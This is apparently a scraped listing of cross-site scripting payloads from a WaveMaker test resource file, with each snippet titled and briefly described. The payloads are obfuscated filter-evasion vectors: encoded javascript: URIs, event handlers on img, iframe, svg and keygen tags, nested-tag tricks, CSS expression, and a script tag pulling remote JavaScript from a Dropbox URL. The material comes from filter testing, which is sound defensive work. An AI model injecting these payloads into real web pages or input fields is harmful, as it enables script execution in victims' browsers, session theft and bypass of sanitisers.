<svg id=a /><script language=vbs for=a event=onload>alert 1</script>
```

--------------------------------

### HTML XSS: Style Tag with CSS URL and JS

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Injects JavaScript via a style tag using CSS url() and specific properties, demonstrating a less common XSS vector.

```html
<style/onload='javascript&amp;colon;void(0)?void(0)&amp;colon;confirm(1)'>
```

```html
<svg><style>&#x7B;-o-link-source&#x3A;'<style/onload=confirm(1)>'&#x7D;
```

--------------------------------

### HTML XSS: Math Tag with Data URI

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses a MathML tag with an href attribute pointing to a data URI containing an embedded script for execution.

```html
<math><solve i.e., x=2+2*2-2/2=? href="data:text/html,<script>prompt(1)</script>">X
```

--------------------------------

### HTML XSS: Iframe with Inline HTML and onload

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Embeds an iframe with inline HTML content that includes an onload event handler to execute JavaScript.

```html
<iframe/src="data:text/html,<iframe%09onload=confirm(1);>">
```

--------------------------------

### HTML XSS: onfocus Event

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Triggers JavaScript execution when an element receives focus. This payload uses onfocus on a keygen tag to prompt the user.

```html
<keygen/onfocus=prompt(1);>
```

--------------------------------

### HTML XSS: Expression Payload

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Demonstrates an XSS payload using the CSS expression property, which is deprecated and unsafe. It executes JavaScript within a style attribute.

```html
<div style="color:rgb('&#0;x:expression(alert(1))"></div>
```

--------------------------------

### HTML XSS: Script Tag with Remote JS File

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Includes a script tag that attempts to load a JavaScript file from a remote URL, using encoding for the URL.

```html
<script src="h&amp;Tab;t&amp;Tab;t&amp;Tab;p&amp;Tab;s&amp;colon;/&amp;Tab;/&amp;Tab;http://dl.dropbox.com/u/13018058/js.js">
```

--------------------------------

### HTML XSS: JavaScript String Concatenation

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Injects JavaScript code that constructs a string dynamically using concatenation and then executes it with setTimeout.

```html
<script>x='con';s='firm';S='(1)';setTimeout(x+s+S,0);</script>
```

--------------------------------

### HTML XSS: Script Tag with Invalid Domain

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Attempts to execute JavaScript within a script tag where the domain part of the URL is malformed, potentially triggering code execution.

```html
http://www.<script abc>setTimeout('confirm(1)',1)</script .com>
```

--------------------------------

### HTML XSS: Style Tag with CSS Expression

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses a style tag with a CSS expression that executes JavaScript, demonstrating a method to inject code via CSS.

```html
<style/onload    =    !-alert&amp;#x28;1&amp;#x29;>
```

--------------------------------

### HTML XSS: Form with JavaScript Action

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses a form tag with a javascript: URI in the action attribute, combined with a submit input, to execute JavaScript upon form submission.

```html
<form/action=javascript&amp;#x0003A;eval(setTimeout(confirm(1)))><input/type=submit>
```

```html
<form/action=javascript&amp;#x3A;void(1)&amp;quest;void(1)&amp;colon;alert(1)><input/type='submit'>
```

--------------------------------

### HTML XSS: Form Button with JavaScript Action

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Executes JavaScript by placing a button within a form and setting its 'formaction' attribute to a javascript: URI.

```html
<form><button formaction=javascript:alert(1)>CLICKME
```

--------------------------------

### HTML XSS: Meta Refresh with Encoded JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses a meta refresh tag to redirect to a javascript: URI, employing encoding for the URI to execute an alert.

```html
<meta/http-equiv="refresh"/content="0;url=javascript&amp;Tab;:&amp;Tab;void(alert(0))?0:0,0,prompt(0)">
```

--------------------------------

### HTML XSS: Input Image with Span Payload

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Combines an input type='image' with a nested span payload using onmouseover to execute JavaScript.

```html
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
```

--------------------------------

### HTML XSS: Nested Iframe Payload

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Demonstrates an XSS payload using nested HTML tags to bypass parsing or detection, ultimately executing an alert via an iframe's onload event.

```html
<i<f<r<a<m<e>><iframe/onload=confirm(1);></iframe ></i>f>r>a>m>e>
```

--------------------------------

### HTML XSS: Object with Scriptlet Data

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses an object tag with type 'text/x-scriptlet' and data containing encoded JavaScript to execute a setInterval function.

```html
<object/type="text/x-scriptlet"/data="data:X,&amp;#60script&amp;#62setInterval&amp;lpar;'prompt(1)',10&amp;rpar;&amp;#60/script&amp;#62"></object>
```

--------------------------------

### HTML XSS: Iframe with Encoded JavaScript URI and Unicode

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Executes JavaScript via an iframe's src attribute using a javascript: URI with mixed encoding, including Unicode escapes.

```html
<iframe/src="j&amp;Tab;AVASCRIP&amp;NewLine;t:\u0061ler\u0074&#x28;1&amp;#x29;">
```

--------------------------------

### HTML XSS: Iframe with Encoded JavaScript URI

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Injects an iframe with a javascript: URI that uses various encodings (e.g., &#58;, &quest;, &rpar;) to execute a confirm function.

```html
<iframe/onload='javascript&amp;#58;void&amp;#40;1&amp;#41;&amp;quest;void&amp;#40;1&amp;#41;&amp;#58;confirm&amp;#40;1&amp;#41;'> 
```

--------------------------------

### HTML XSS: onerror with %00 Encoding

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Utilizes the onerror event handler on an img tag with a null byte (%00) in the src attribute to bypass filters. Executes JavaScript via eval(id).

```html
<img/src=%00 id=confirm(1) onerror=eval(id)
```

```html
<img/src=`%00` id=confirm(1) onerror=eval(id)
```

--------------------------------

### HTML XSS: Iframe with JavaScript URI and Conditional Execution

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Injects an iframe with a javascript: URI that uses conditional logic (ternary operator) to execute different JavaScript functions.

```html
<iframe/src="javascript:void(alert(1))?alert(1):confirm(1),prompt(1)">
```

--------------------------------

### HTML XSS: Body onload with InnerHTML Modification

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Executes JavaScript via the body's onload event, which then modifies the innerHTML to trigger another alert.

```html
<body/onload=this.onload=document.body.innerHTML=alert&amp;lpar;1&amp;rpar;>
```

--------------------------------

### HTML XSS: Embed with Encoded JavaScript

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

Uses an embed tag with a javascript: URI that employs encoding (e.g., &#x6C;, %72t) to execute an alert function.

```html
<embed/src=javascript&amp;colon;a&amp;#x6C;&amp;#101%72t&amp;#x28;1&amp;#x29;&gt;
```

--------------------------------

### HTML XSS: onerror with Self-Assignment

Source: https://github.com/wavemaker/wavemaker-app-runtime-services/blob/master/wavemaker-app-runtime-core/src/test/resources/com/wavemaker/runtime/xss/encoded-once.txt

A variation of the onerror payload where the onerror handler is reassigned to itself, potentially bypassing certain detection mechanisms.

```html
<img/src=`%00` onerror=this.onerror=confirm(1)>
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.